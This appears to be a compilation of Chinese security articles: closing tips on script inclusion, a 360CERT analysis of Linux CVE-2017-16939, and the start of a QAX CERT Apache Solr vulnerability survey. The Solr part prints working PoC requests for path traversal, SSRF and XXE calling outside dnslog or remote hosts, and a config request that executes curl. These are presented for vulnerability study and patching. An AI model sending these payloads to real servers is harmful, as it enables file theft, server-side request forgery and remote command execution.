* 严格管控现有的域名，确保知道哪些过期了，哪些没有
* 脚本不应该从动态 ip 中引入
* 再三检查输入域名是否配对真实域名
* 尽可能地使用 https
* 脚本应该尽量存放在安全性高的第三方网站
* 如果你不能保证上述几点，不要因为追求性能而无视安全性（引用脚本改成内联）
**欢迎关注作者公众号**
* * * | 社区文章 |
# 【漏洞分析】Linux内核XFRM权限提升漏洞分析预警（CVE–2017–16939）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**0x00 背景介绍**
2017年11月24日, OSS社区披露了一个由独立安全研究员Mohamed Ghannam发现的一处存在于Linux 内核Netlink
socket子系统(XFRM)的漏洞，漏洞编号 **CVE-2017-16939** 。
360CERT经过实际验证，确认该漏洞确实存在，但poc作者认为存在UAF漏洞，存在提权的可能性，而我们认为并没有UAF，只是使用未初始化链表造成的crash（空指针引用），并且使用的内存已经被初始化了，实际上无法提前布局，不能进一步利用达到提权的目的。
**0x01 漏洞概述**
Netlink 是一种特殊的 socket，它是一种在内核与用户间进行双向数据传输的一种方式，用户态应用使用标准的 socket API 就可以使用
Netlink 提供的强大功能，内核态需要使用专门的内核 API 来使用 Netlink。
XFRM是 Linux 2.6 内核为安全处理引入的一个可扩展功能框架，用来在数据包经过路由路径的过程中对其进行修改。
漏洞原因是：
**在调用xfrm_dump_policy_done函数之前，如果不事先调用xfrm_dump_policy，会导致链表没有被初始化，造成空指针引用，产生崩溃。官方修正的补丁添加了xfrm_dump_policy_start函数，确保调用done之前会进行初始化。**
**0x02 漏洞攻击面影响**
**1\. 影响版本**
影响Linux Kernel 2.6.28~4.14之间的版本
影响版本链接：
<http://www.securityfocus.com/bid/101954>
**2\. 修复版本**
漏洞已被作为1137b5e（“ipsec：修复异常xfrm策略转储崩溃”补丁）的一部分解决，在4.14-rc7版本中被修复。
**0x03 漏洞详情**
**1\. 技术细节**
在函数 static int netlink_dump(struct sock *sk) 中：
(/net/netlink/af_netlink.c)
在上面的代码中，我们可以看到当sk->sk_rcvbuf小于等于sk_rmem_alloc（注意我们可以通过stockpot控制sk->sk_rcvbuf）时，netlink_dump（）检查失败，它跳转到函数的结尾并退出，但是cb_running的值不会更改为false。
所以当 atomic_read(&sk->sk_rmem_alloc) >= sk->sk_rcvbuf 时，不应调用
cb->done(cb)，且nlk->cb_running 应设为 false。否则在 static void
netlink_sock_destruct(struct sock *sk) 函数中：
该函数会在close(socketfd)时触发。该函数检测到 nlk->cb_running 不为 false，就会调用 done() 函数，即
xfrm_dump_policy_done()，导致 crash。
**2\. poc的验证分析**
原作者 poc 中的执行流程如下：
（1） do_setsockopt() ：改小 sk->sk_rcvbuf 值
（2）send_msg(fd,&p->msg)：
第一次发送时，atomic_read(&sk->sk_rmem_alloc) = 0 <
sk->sk_rcvbuf，发送之后，sk->sk_rmem_alloc 累加，结果在第一次发送后：
atomic_read(&sk->sk_rmem_alloc) >= sk->sk_rcvbuf
（3）send_msg(fd,&p->msg)：
第二次发送之后，此时atomic_read(&sk->sk_rmem_alloc) >= sk->sk_rcvbuf，未调用 done()，但
nlk->cb_running 值保持为 true。
（4）close(fd)：调用cb->done(cb)，产生崩溃。
按上述原理，其实即使不调用 “do_setsockopt();” 改小 sk->sk_rcvbuf 值，只要多次 send，那么当
sk->sk_rmem_alloc 累加到超过 sk->sk_rcvbuf 值，再次 send 后，“close(fd)”或进程退出时，就会导致
crash。
原 poc 改为如下也可触发（不调用 do_setsockopt()）：
**3\. 漏洞分析总结**
crash 原因分析：
原本程序理想流程是 xfrm_dump_policy() -> xfrm_dump_policy_done()， xfrm_dump_policy()
时会检查 callback 中的一个双向链表是否有初始化，若没有，则初始化之（空链）。
而 xfrm_dump_policy_done() 时默认上述链表已初始化，不再检查，直接读写。如前文所述，多次 send 就可以造成：
atomic_read(&sk->sk_rmem_alloc) >= sk->sk_rcvbuf
导致 netlink_dump() 中跳过 xfrm_dump_policy() ，即没有初始化链表，所以 close(fd)
时，xfrm_dump_policy_done() 就会操作未初始化内存，导致 crash。
那么若能提前布局这块内存，则可实现任意地址写值（通过双向链表del操作）。但是，无论是否触发初始化链表的操作，在之前这块内存都会被 memset(0)：
在__netlink_dump_start 函数里 memset(0) 后，才调用 netlink_dump。接下来 netlink_dump中做
sk_rmem_alloc >= sk_rcvbuf 的检测，失败后就不去 xfrm_dump_policy 了。到后面
xfrm_dump_policy_done 用到的就是之前 memset(0) 的内存。这样就是缺少了 xfrm_dump_policy
过程中的初始化链表操作（INIT_LIST_HEAD），最终造成空指针引用。
所以这只是使用未初始化链表造成的crash（空指针引用），并且使用的内存已经被初始化了，实际上无法提前布局，不能进一步利用达到提权的目的。
**0x04 修复建议**
建议所有受影响用户，及时进行安全更新，可选方式如下：
1、相关Linux发行版已经提供了安全更新，请通过 yum 或 apt-get 的形式进行安全更新。
2、自定义内核的用户，请自行下载对应源码补丁进行安全更新。 补丁链接：
<https://github.com/torvalds/linux/commit/1137b5e2529a8f5ca8ee709288ecba3e68044df2>
**0x05 时间线**
2017-10-19 git上commit漏洞补丁
2017-11-24 OSS-SEC邮件组公布漏洞信息
2017-11-27 360CERT发布分析预警通告
**0x06 参考文档**
<https://nvd.nist.gov/vuln/detail/CVE-2017-16939>
<https://blogs.securiteam.com/index.php/archives/3535>
<https://github.com/torvalds/linux/commit/1137b5e2529a8f5ca8ee709288ecba3e68044df2>
<http://seclists.org/fulldisclosure/2017/Nov/40> | 社区文章 |
**作者：Skay @ QAX CERT
原文链接：<https://mp.weixin.qq.com/s/3WuWUGO61gM0dBpwqTfenQ>**
# 前言
Apache
Solr是一个开源搜索服务引擎，近年来产生过多个高危漏洞。本文从Solr核心概念、源码、近五年历史漏洞、攻击面概述、厂商防御绕过多个角度力求全面分析Apache
Solr组件。
# 一、组件概述
## 1.关键词
企业级全文检索服务器、基于Lucene
## 2.一些名词
### **(1) 数据**
结构化数据，与非结构化数据
结构化数据： 用表、字段表示的数据 数据库适合结构化数据的精确查询
半结构化数据：xml 、html
非结构化数据： 文本、文档、图片、音频、视频等
### (2)Document
被索引的对象，索引、搜索的基本单元，一个Document由多个字段Field构成 Field、字段名name、字段值value
字段类型type FieldType(这个fieldtype也有很多属性主要两个是name 以及 class
用来存放该类型值的类名)，Field中包含分析器(Analyzer)、过滤器(Filter)
### **(3) 索引**
对列值创建排序存储，数据结构={列值、行地址} ，Luncene或者说Solr的索引的创建过程其实就是分词、存储到反向索引中
输入的是苍老师，想要得到标题或内容中包含“苍老师”的新闻列表
### **(4) 搜索引擎**
区别于关系数据库搜索引擎专门解决 **大量结构化、半结构化数据、非结构化文本类数据的实时检索** 问题。 这种类型的搜索实时搜索数据库做不了。
### **(5) 搜索引擎工作原理**
1、从数据源加载数据，分词、建立反向索引
2、搜索时，对搜索输入进行分词，查找反向索引
3、计算相关性，排序，输出
### **(5) zookeeper**
zk是分布式系统中的一项协调服务。solr将zk用于三个关键操作：
1、集中化配置存储和分发
2、检测和提醒集群的状态改变
3、确定分片代表
### **(7) Lucene**
一套可对大量 **结构化、半结构化数据、非结构化文本类数据进行实时搜索**
的专门软件。最早应用于信息检索领域，经谷歌、百度等公司推出网页搜索而为大众广知。后又被各大电商网站采用来做网站的商品搜索。现广泛应用于各行业、互联网应用。
核心构成： **数据源(存储的数据)、分词器(英文比较容易，中文两个常用的
IKAnalyzer、mmseg4j主谓宾等)、反向索引（倒排索引）、相关性计算模型(例如 出现次数这个算简单的，复杂点的
可能就会加上权重，搜索引擎会提供一种或者多种)**
### **(8) Solr中的Core**
运行在Solr服务器中的具体唯一命名的、可管理、可配置的索引，一台Solr可以托管一个或多个索引。solr的内核是运行在solr服务器中具有唯一命名的、可管理和可配置的索引。一台solr服务器可以托管一个或多个内核。
**内核的典型用途是区分不同模式(具有不同字段、不同的处理方式)的文档** 。
内核就是索引，为什么需要多个？因为不同的文档拥有不同的模式（字段构成、索引、存储方式），商品数据和新闻数据就是两类完全不同的数据，这就需要两个内核来索引、存储它们。
每个内核都有一个 内核实例存放目录、内核索引数据存放目录、内核配置文件(solrconfig.xml)、内核模式文件(schema.xml)
### **(9) Solr中的schema**
包含整个架构以及字段和字段类型。用来告诉solr，被索引的文档由哪些Field组成。让solr知道集合/内核包含哪些字段、字段的数据类型、字段该索引存储。
conf/managed-schema 或者 schema.xml
### **(10) solrconfig.xml**
此文件包含与请求处理和响应格式相关的定义和特定于核心的配置，以及索引，配置，管理内存和进行提交。内核配置文件，这个是影响Solr本身参数最多的配置文件。索引数据的存放位置，更新，删除，查询的一些规则配置
### **(11) collection 集合**
一个集合由一个或多个核心(分片)组成，SolrCloud引入了集合的概念，集合将索引扩展成不同的分片然后分配到多台服务器，分布式索引的每个分片都被托管在一个solr的内核中(一个内核对应一个分片呗)。提起SolrCloud，更应该从分片的角度，不应该谈及内核。
### **(12) Solr.xml**
它是$ SOLR_HOME目录中包含Solr Cloud相关信息的文件。 要加载核心，Solr会引用此文件，这有助于识别它们。solr.xml
文件定义了适用于全部或多个内核的全局配置选项
### **(13) core.properties**
代表一个核心，为每个核心定义特定的属性，例如其名称、核心所属的集合、模式的位置以及其他参数
### **(14) Solr配置集 configset**
用于实现多个不同内核之间的配置共享
### **(15) requestHandler(solrconfig.xml)**
请求处理程序，定义了solr接收到请求后该做什么操作。
Solr中处理外部数据都是通过http请求，对外提供http服务，每类服务在solr中都有对应的request
handler接收处理数据，solr中有定义了很多内置的请求处理程序，但是我们也可以自己定义，在conf/solrconfig.xml中配置
在 conf/solrconfig.xml中，requestHandler的配置就像我们在web.xml中配置servlet-mapping（或spring
mvc 中配置controller 的requestMap）一样：配置该集合/内核下某个请求地址的处理类
示例 '${dataimporter.last_index_time}'">
### **(16) Solr中的 文档、字段、字段分析、模式、分析器、标记器、过滤器**
参阅中文文档
[https://www.w3cschool.cn/solr_doc/solr_doc-2yce2g4s.html](https://www.w3cschool.cn/solr_doc/solr_doc-2yce2g4s.html?fileGuid=It0Qkg2AiecFMx62)
[https://www.w3cschool.cn/solr_doc/solr_doc-5ocy2gay.html](https://www.w3cschool.cn/solr_doc/solr_doc-5ocy2gay.html?fileGuid=It0Qkg2AiecFMx62)
## 3.几个重要配置文件的详解
### 1.Solr.xml
在独立模式下，solr.xml必须驻留在solr_home(server/solr)。在SolrCloud模式下，将从ZooKeeper加载solr.xml（如果它存在），回退到solr_home。
solr.xml 文件定义了适用于全部或多个内核的全局配置选项。
**< solr >标签是根元素**
* adminHandler 属性，solr默认使用org.apache.solr.handler.admin.CoreAdminHandler
* collectionsHandler 自定义CollectingHandler的实现
* infoHandler 自定义infoHandler实现
* coreLoader 指定分配给此内核的线程数
* coreRootDirectory 指定$SOLR_HOME
* sharedLib 所有内核共享公共库目录 此目录任何jar文件都将被添加到Solr插件的搜索路径中
* shareSchema 此属性为true的情况下，共享IndexSchema对象
* configSetBaseDir 指定configSets目录 默认为$SOLR_HOME/configsets
**< solrcloud > 定义了与SolrCloud相关的参数**
* distribUpdateConnTimeout 设置集群的connTimeout
* distribUpdateSoTimeout 设置集群的socketTime'out
* host 设置访问主机名称
* hostContext url上下文路径
* hostPort 端口
* zkClientTimeout 连接到ZookKeeper服务器的超时时间
**< logging >**
* class 属性 用于记录的class类，相应的jar必须存在
* enable 是否启用日志功能
**< shardHandlerFactory >分片相关**
**< metrics > 报告相关**
### 2.core.properties
简单的key=value，可以这么理解，一个core.properties 就代表一个core，允许即时创建，而不用重启Solr,配置文件包含以下属性：
* name core的名称
* config core的配置文件名称 默认为solrconfig.xml
* schema 核心架构文件名称 默认为schema.xml
* dataDir core的数据目录 可以是据对路径 也可以是相对于instanceDir的路径
* configSet configset可用于配置内核
* properties 这个core的文件名称 可以是绝对路径也可以是相对路径
* loadOnstartup true Solr启动时，会加载这个核心
* ulogDir 日志的路径
* collection 是SolrCloud的一部分
### 3.Schema.xml
略
### 4.Solrconfig.xml
这个文件可以说，在功能上包含了一个core处理的全部配置信息
* < luceneMatchVersion > 指定Luncene版本
* < dataDir > core的data目录 存放当前core的idnex索引文件和tlog事务日志文件
* < directoryFactory > 索引存储工厂 配置了一些存储时的参数 线程等
* < codeFactory > 编解码方式
* < indexConfig > 配置索引属性，主要与Luncene创建索引的一些参数，文档字段最大长度、生成索引时INdexWriter可使用最大线程数、Luncene是否允许文件整合、buffer大小、指定Lucene使用哪个LockFactory等
* < updateHander > 更新处理器 更新增加Document时的update对应什么处理动作在这里配置，在这里也可以自定义更新处理器
* 以及查询的相关配置
* < requestDispatcher > 请求转发器 自定义增加在这里配置
* < requestParses > 请求解析器 配置solr的请求解析行为
* < requestHandler > 请求处理器 solr通过requestHandler提供webservice功能，通过http请求对索引进行访问 可以自定义增加，在这里配置
## 4.概述
建立在Lucene-core之上，Luncene是一个全文检索的工具包，它不是一个完整的引擎，Solr将它打包成了一个完整的引擎服务，并对外开放基于http请求的服务以及各种API，还有一个后台管理界面。所以，它既然是基于Luncene的，所以他的核心功能逻辑就应该和Luncene一样，给它一个Docunment，Solr进行分词以及查找反向索引，然后排序输出。
**Solr
的基本前提很简单。您给它很多的信息，然后你可以问它的问题，找到你想要的信息。您在所有信息中提供的内容称为索引或更新。当你问一个问题时，它被称为查询。**
在一些大型门户网站、电子商务网站等都需要站内搜索功能，使用传统的数据库查询方式实现搜索无法满足一些高级的搜索需求，比如：搜索速度要快、搜索结果按相关度排序、搜索内容格式不固定等，这里就需要使用全文检索技术实现搜索功能。
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发，主要基于 HTTP 和 Apache Lucene 实现。Lucene
是一个全文检索引擎工具包，它是一个 jar 包，不能独立运行，对外提供服务。Apache Solr 中存储的资源是以 Document
为对象进行存储的。NoSQL特性和丰富的文档处理（例如Word和PDF文件）。每个文档由一系列的 Field 构成，每个 Field
表示资源的一个属性。Solr 中的每个 Document 需要有能唯一标识其自身的属性，默认情况下这个属性的名字是 id，在 Schema
配置文件中使用：< uniqueKey >id< /uniqueKey
>进行描述。Solr是一个独立的企业级搜索应用服务器，目前很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。
Solr可以独立运行，打包成一个war。运行在Jetty、Tomcat等这些Servlet容器中，Solr索引的实现方法很简单，用 POST
方法向Solr服务器 发送一个描述Field 及其内容的XML文档，Solr根据xml文档添加、删除、更新索引。Solr搜索只需要发送HTTP GET
请求，然后对 Solr
返回Xml、Json等格式的查询结果进行解析，组织页面布局。Solr不提供构建UI的功能，Solr提供了一个管理界面，通过管理界面可以查询Solr的配置和运行情况。
中文文档：[https://www.w3cschool.cn/solr_doc/solr_doc-mz9a2frh.html](https://www.w3cschool.cn/solr_doc/solr_doc-mz9a2frh.html?fileGuid=It0Qkg2AiecFMx62)
## 3.使用范围及行业分布
* 业界两个最流行的开源搜索引擎，Solr和ElasticSearch。Solr是Apache下的一个顶级开源项目。不少互联网巨头，如Netflix，eBay，Instagram和Amazon（CloudSearch）均使用Solr。
* fofa搜索公网资产 一万 app="APACHE-Solr"
* GitHub Star数量 3.8k
## 4.重点产品特性
默认全局未授权，多部署于内网，内置zk服务
不可自动升级，需要手动升级修复漏洞
# 二、环境搭建、动态调试
Solr 所有版本下载地址 <http://archive.apache.org/dist/lucene/solr/>
## 1.sorl-4.2.0 环境搭建
### 1.1 环境搭建
下载solr-4.2.0.zip文件，解压，C:\Solr\solr-4.2.0\example\start.jar 启动
`java -Xdebug -Xrunjdwp:transport=dt_socket,address=10010,server=y,suspend=y
-jar start.jar`
### 1.2 动态调试
新建idea项目
讲solr目录下所有jar包导入 lib目录下 add as library
配置远程调试
断点成功停住
当然也可以下载solr源码，idea直接打开，配置Remote，远程调试，看源码总是正规的嘛
## 2.Solr较高版本
### 2.1 环境搭建
大体同上，只不过启动时，没有了start.jar 改为bin目录下的solr.bat
./solr.cmd -f -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=10010" -port 8983 -s "C:\Solr\solr-6.4.0\example\example-DIH\solr"
solr.cmd start -p 8983 -s "C:\Solr\solr-6.4.0\example\example-DIH\solr"
PS:这里注意一点，需要jdk8及以上 以及 **solr.cmd -f -e dih** 加载example 然后solr stop -p 8983
再启动，加上 -s "C:\Solr\solr-6.4.0\example\example-DIH\solr" 要不然漏洞复现不出来。
solr.cmd -f -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=10010" -port 8983 -s "C:\Solr\solr-8.6.3\example\example-DIH\solr"
### 2.2 动态调试
下载源码，配置Remote即可
2.3 PS Cloud模式下的 debug
solr.cmd -c -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=10010" -p 8983
solr.cmd -c -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=10010" -p 8983
调试solr的启动过程
java -Xdebug -Xrunjdwp:transport=dt_socket,address=10010,server=y,suspend=y -jar start.jar --module=http
创建一个新的核心
在此感谢Whippet师傅！
# 三、源码分析
## 1.Apache Solr架构
### (1) Request Handler
Solr 用来处理http请求处理程序的模块，无论是api又或者是web前台的，这也是我们漏洞挖掘时需要主要关注的部分
### (2) Search Component
Solr的搜索组件，提供搜索功能服务。
### (3) Query Parser
Solr查询解析器解析我们传递给Solr的查询，并验证查询是否存在语法错误。 解析查询后，它会将它们转换为Lucene理解的格式。
### (4) Response Writer
Solr处理响应的功能模块，是为用户查询生成格式化输出的组件。Solr支持XML，JSON，CSV等响应格式。对于每种类型的响应，都有不同的响应编写器。
### (5) Analyzer / tokenizer
Lucene以令牌的形式识别数据。 Apache Solr分析内容，将其划分为令牌，并将这些令牌传递给Lucene。Apache
Solr中的分析器检查字段文本并生成令牌流。标记生成器将分析器准备的标记流分解为标记。
### (6) Update Request Processor
每当我们向Apache Solr发送更新请求时，请求都通过一组插件（签名，日志记录，索引）运行，统称为 更新请求处理器
。此处理器负责修改，例如删除字段，添加字段等
## 2.目录结构
### 1.运行目录结构
├─bin大量的Solr控制台管理工具存在该目录下
├─contrib包含大量关于Solr的扩展
│ ├─analysis-extras该目录下面包含一些相互依赖的文本分析组件
│ ├─clustering该目录下有一个用于集群检索结果的引擎
│ ├─dataimporthandlerDIH组件，该组件可以从数据库或者其他数据源导入数据到Solr中
│ ├─dataimporthandler-extras包含了对DIH的扩展
│ ├─extraction集成Apache Tika，用于从普通格式文件中提取文本
│ ├─jaegertracer-configurator
│ ├─langid该组件使得Solr拥有在建索引之前识别和检测文档语言的能力
│ ├─ltr
│ ├─prometheus-exporter
│ └─velocity包含一个基于Velocity模板语言简单检索UI框架
├─distSolr的核心JAR包和扩展JAR包。当我们试图把Solr嵌入到某个应用程序的时候会用到核心JAR包。
│ ├─solrj-lib包含构建基于Solr的客户端时会用到的JAR包
│ └─test-framework包含测试Solr时候会用到的JAR包
├─docsSolr文档
├─exampleSolr的简单示例
│ ├─cloud
│ ├─example-DIH
│ ├─exampledocs
│ ├─files
│ └─films
├─licenses各种许可和协议
└─server本地把Solr作为服务运行的必要文件都存放在这里
├─contexts启动Solr的Jetty网页的上下文配置
├─etcJetty服务器配置文件，在这里可以把默认的8983端口改成其他的
├─libJetty服务器程序对应的可执行JAR包和响应的依赖包
│ └─ext
├─logs日志将被输出到这个文件夹
├─moduleshttp\https\server\ssl等配置模块
├─resources存放着Log4j的配置文件
├─scriptsSolr运行的必要脚本
│ └─cloud-scripts
├─solr运行Solr的配置文件都保存在这里。solr.xml文件，提供全方位的配置；zoo.cfg文件，使用SolrCloud的时候有用。子文件夹/configsets存放着Solr的示例配置文件。各个生成的core也放在这里
以及configsets等
│ ├─.system_shard1_replica_n1
│ ├─aaa_shard1_replica_n1
│ ├─configsets
│ │ ├─sample_techproducts_configs
│ ├─filestore
│ ├─userfiles
│ └─zoo_data
│ └─version-2
├─solr-webapp管理界面的站点就存放在这里
│ └─webapp
│ └─WEB-INF
└─tmp存放临时文件
├─jetty-0_0_0_0-8983-webapp-_solr-any-7904109470622189110.dir
### 2.Solr Home目录结构
单例模式下
<solr-home-directory>
solr.xml
core_name1/
core.properties
conf/
solrconfig.xml
managed-schema
data/
core_name2/
core.properties
conf/
solrconfig.xml
managed-schema
data/
colud模式下
<solr-home-directory>/
solr.xml
core_name1/
core.properties
data/
core_name2/
core.properties
data/
## 3.源码结构
├─binSolr控制台管理工具存在该目录下
├─contrib包含大量关于Solr的扩展 同安装目录中一样
├─corecore的核心
│ └─src
│ ├─java.org.apache.solr
│ │ ├─analysis文本分析处理类，其中没有很多核心实现，主要调用了lucene重点的核心功能
│ │ ├─apiSolr对外提供给的API(两个版本)处理包
│ │ ├─client.solrj.embeddedSolr中嵌入了jetty，这里存在Jetty的配置类以及嵌入式启动类
│ │ ├─cloudSolr在cloud模式下云的的相关处理包，包含zk相关的处理类
│ │ ├─corecore相关的处理包 solrcore solrinfo CoreDescriptor等
│ │ ├─filestore文件处理包
│ │ ├─handler请求程序处理包
│ │ │ ├─admin
│ │ │ ├─component
│ │ │ ├─export
│ │ │ ├─loader
│ │ │ ├─sql
│ │ │ └─tagger
│ │ ├─highlight solr高亮功能包
│ │ ├─index
│ │ ├─internal
│ │ ├─legacy
│ │ ├─logging日志功能处理包
│ │ ├─metrics
│ │ ├─packagemanager
│ │ ├─parser解析器包
│ │ ├─pkg
│ │ ├─query查询功能处理
│ │ ├─request请求前置处理 SolrQueryRequestBase在这里
│ │ ├─response返回数据处理
│ │ ├─restrest功能，包含restApi处理逻辑
│ │ ├─schema模式定义
│ │ ├─searchsearch功能程序处理包
│ │ │ ├─join
│ │ │ ├─mlt
│ │ │ ├─similarities
│ │ │ └─stats
│ │ ├─security安全功能处理包
│ │ ├─servletServlet Filter Wrpper拓展处理
│ │ ├─spelling
│ │ ├─store
│ │ ├─uninverting
│ │ ├─update字段索引更新处理逻辑
│ │ └─util一些工具类
│ ├─resources
│ ├─test
│ └─test-files
├─dev-docs
├─docs
├─example 示例文件
│ ├─example-DIH
│ ├─exampledocs
│ ├─files
│ └─films
├─licenses各种许可和协议
├─server本地把Solr作为服务运行的必要文件都存放在这里
├─contexts启动Solr的Jetty网页的上下文配置
├─etcJetty服务器配置文件，在这里可以把默认的8983端口改成其他的
├─libJetty服务器程序对应的可执行JAR包和响应的依赖包
│ └─ext
├─logs日志将被输出到这个文件夹
├─moduleshttp\https\server\ssl等配置模块
├─resources存放着Log4j的配置文件
├─scriptsSolr运行的必要脚本
│ └─cloud-scripts
├─solr运行Solr的配置文件都保存在这里。solr.xml文件，提供全方位的配置；zoo.cfg文件，使用SolrCloud的时候有用。子文件夹/configsets存放着Solr的示例配置文件。各个生成的core也放在这里
以及configsets等
├─site
├─solr-ref-guide
├─solrjsolr的客户端程序
└─webapp管理界面的站点就存放在这里
## 4.启动过程
避免文章太长，放到这里了[https://xz.aliyun.com/t/9247](https://xz.aliyun.com/t/9247?fileGuid=It0Qkg2AiecFMx62)
### 5.源码中核心类
避免文章太长，放到这里了[https://xz.aliyun.com/t/9248](https://xz.aliyun.com/t/9248?fileGuid=It0Qkg2AiecFMx62)
## 6.Apache Solr中的路由
路由就直接根据 "/" 或者 ":"
写死了的，没有一点兼容性，看路由无非是想看对应哪些可以访问的handler，直接去Plugins/Stats里看就行，里面对应了每个url的处理类
调试过程中一些关键位置
这里的58 是冒号：
反斜杠
下面是调试过程中的一些路由列表
# 四、漏洞相关
## 1.漏洞概览
### 1.1.漏洞列表
名称 | 编号 | 危害 | 影响版本 | 备注
---|---|---|---|---
shards参数SSRF | CVE-2017-3164 | 高危 | 1.4.0-6.4.0 |
任意文件读取 | CVE-2017-3163 | 高危 | 同3164 |
XXE&RCE | CVE-2017-12629 | 高危 | <7.1.0 |
XXE | CVE-2018-1308 | 高危 | 1.2至6.6.2和7.0.0至7.2.1 |
XXE | CVE-2018-8026 | 高危 | 6.6.4, 7.3.1 |
反序列化RCE | CVE-2019-0192 | 高危 | 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5 |
RCE | CVE-2019-0193 | 高危 | < 8.2.0 |
RCE | CVE-2019-17558 | 高危 | 5.0.0版本至8.3.1 | 模板注入
任意文件上传 | CVE-2020-13957 | 高危 | Solr 8.6.2 之前 |
### 1.2.漏洞分布与关联
#### A.分布
多为扩展组件上出现漏洞
#### B.关联
无
### 1.3.漏洞过去、现在、未来
## 2.复现及分析
### 2.1. CVE-2017-3163
#### 2.1.1 复现
poc 如下
GET /solr/db/replication?command=filecontent&file=../../../../../../../../../../../../../a.txt&wt=filestream&generation=1 HTTP/1.1
Host: 192.168.33.130:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
复现截图
#### 2.1.2 分析
首先我们diff 下6.4.2 和6.4.0 看一下是怎么修复的
伤心，尝试了一下绕不过去，直接是在ReplicationHandler中做了过滤，根据之前分析的Solr启动过程的处理逻辑，再结合poc的url：/solr/db/replication，可以猜到肯定会走到ReplicationHandler的handlerequest方法，所以断点直接下到这里就可
在没有修复的版本里，没有任何过滤
直接读取了文件
修复之后，针对不同系统的文件分隔符将文件名拆分成一个迭代器，如果发现 ".."存在，就返回403
### 2.2 CVE-2017-3164
#### 2.2.1 复现
GET /solr/db/replication?command=fetchindex&masterUrl=http://d9rufs.dnslog.cn/xxxx&wt=json&httpBasicAuthUser=aaa&httpBasicAuthPassword=bbb HTTP/1.1
Host: 192.168.33.130:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
#### 2.2.2 分析
观察poc，path没变还是/db/replication，所以问题仍旧出在`org/apache/solr/handler/ReplicationHandler.java`
中，但是由于command=fetchindex，command的参数不同，所以会走到不同的处理逻辑，这里会进入最后一个
这里会开启另一个线程，进入doFetch的处理逻辑
最终会走到触发的地方
此时的调用栈
getLatestVersion:202, IndexFetcher (org.apache.solr.handler)
fetchLatestIndex:286, IndexFetcher (org.apache.solr.handler)
fetchLatestIndex:251, IndexFetcher (org.apache.solr.handler)
doFetch:397, ReplicationHandler (org.apache.solr.handler)
lambda$handleRequestBody$0:279, ReplicationHandler (org.apache.solr.handler)
run:-1, 939130791 (org.apache.solr.handler.ReplicationHandler$$Lambda$85)
run:-1, Thread (java.lang)
### 2.3CVE-2018-1308
#### 2.3.1 复现
POC：
POST /solr/db/dataimport HTTP/1.1
Host: 192.168.170.139:8983
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 208
command=full-import&dataConfig=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E
%3C!DOCTYPE+root+%5B%3C!ENTITY+%25+remote+SYSTEM+%22http%3A%2F%2F127.0.0.1:7777%2Fftp_xxe.xml%22%3E%25remote%3B%5D%3E
#### 2.3.2 分析
看请求的url就知道问题出在`org.apache.solr.handler.dataimport.DataImportHandler`，结合command以及dataConfig参数，很快可以定位到`this.importer.maybeReloadConfiguration(requestParams,
defaultParams)`;
跟进`org.apache.solr.handler.dataimport.DataImporter#maybeReloadConfiguration`方法
继续跟进`org.apache.solr.handler.dataimport.DataImporter#loadDataConfig`，可以发现没有任何关于XXE的防御处理
修复,这里直接看最新版本的修复，这里的commit同时也修复了CVE-2019-0193，补丁增加了
enable.dih.dataConfigParam（默认为false）只有启动solr的时候加上参数-Denable.dih.dataConfigParam=true 才会被设置为true。
### 2.4 CVE-2017-12629
#### 2.4.1 复现
**XXE：**
http://192.168.33.144:8983/solr/db/select?q=%7b%21%78%6d%6c%70%61%72%73%65%72%20%76%3d%27%3c%21%44%4f%43%54%59%50%45%20%61%20%53%59%53%54%45%4d%20"http://aaa.mryq4g.dnslog.cn"><a></a>'}&wt=xml
**RCE：**
POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 198
{
"add-listener" : {
"event":"newSearcher",
"name":"newlistener-1",
"class":"solr.RunExecutableListener",
"exe":"curl",
"dir":"/usr/bin/",
"args":["http://127.0.0.1:8080"]
}
}
#### 2.4.2 分析
**XXE**
其实是Lucene出现的漏洞，而Solr又是Lucenne作为核心语义分析引擎，所以受此漏洞影响，具体漏洞点在`org.apache.lucene.queryparser.xml.CoreParser#parseXML`
可以看见没有任何关于XMl解析XXE的防御，此时主要调用栈
parseXML:127, CoreParser (org.apache.lucene.queryparser.xml)
parse:115, CoreParser (org.apache.lucene.queryparser.xml)
parse:62, XmlQParserPlugin$XmlQParser (org.apache.solr.search)
getQuery:168, QParser (org.apache.solr.search)
prepare:160, QueryComponent (org.apache.solr.handler.component)
handleRequestBody:269, SearchHandler (org.apache.solr.handler.component)
handleRequest:166, RequestHandlerBase (org.apache.solr.handler)
execute:2306, SolrCore (org.apache.solr.core)
execute:658, HttpSolrCall (org.apache.solr.servlet)
call:464, HttpSolrCall (org.apache.solr.servlet)
doFilter:345, SolrDispatchFilter (org.apache.solr.servlet)
doFilter:296, SolrDispatchFilter (org.apache.solr.servlet)
修复，增加了XXE的通用防御
**RCE:**
这个都不太想调试了，问题类方法是`org.apache.solr.core.RunExecutableListener#exec`
官方修复呢也是直接把这个类删了
### 2.5 CVE-2018-8026
上传configset
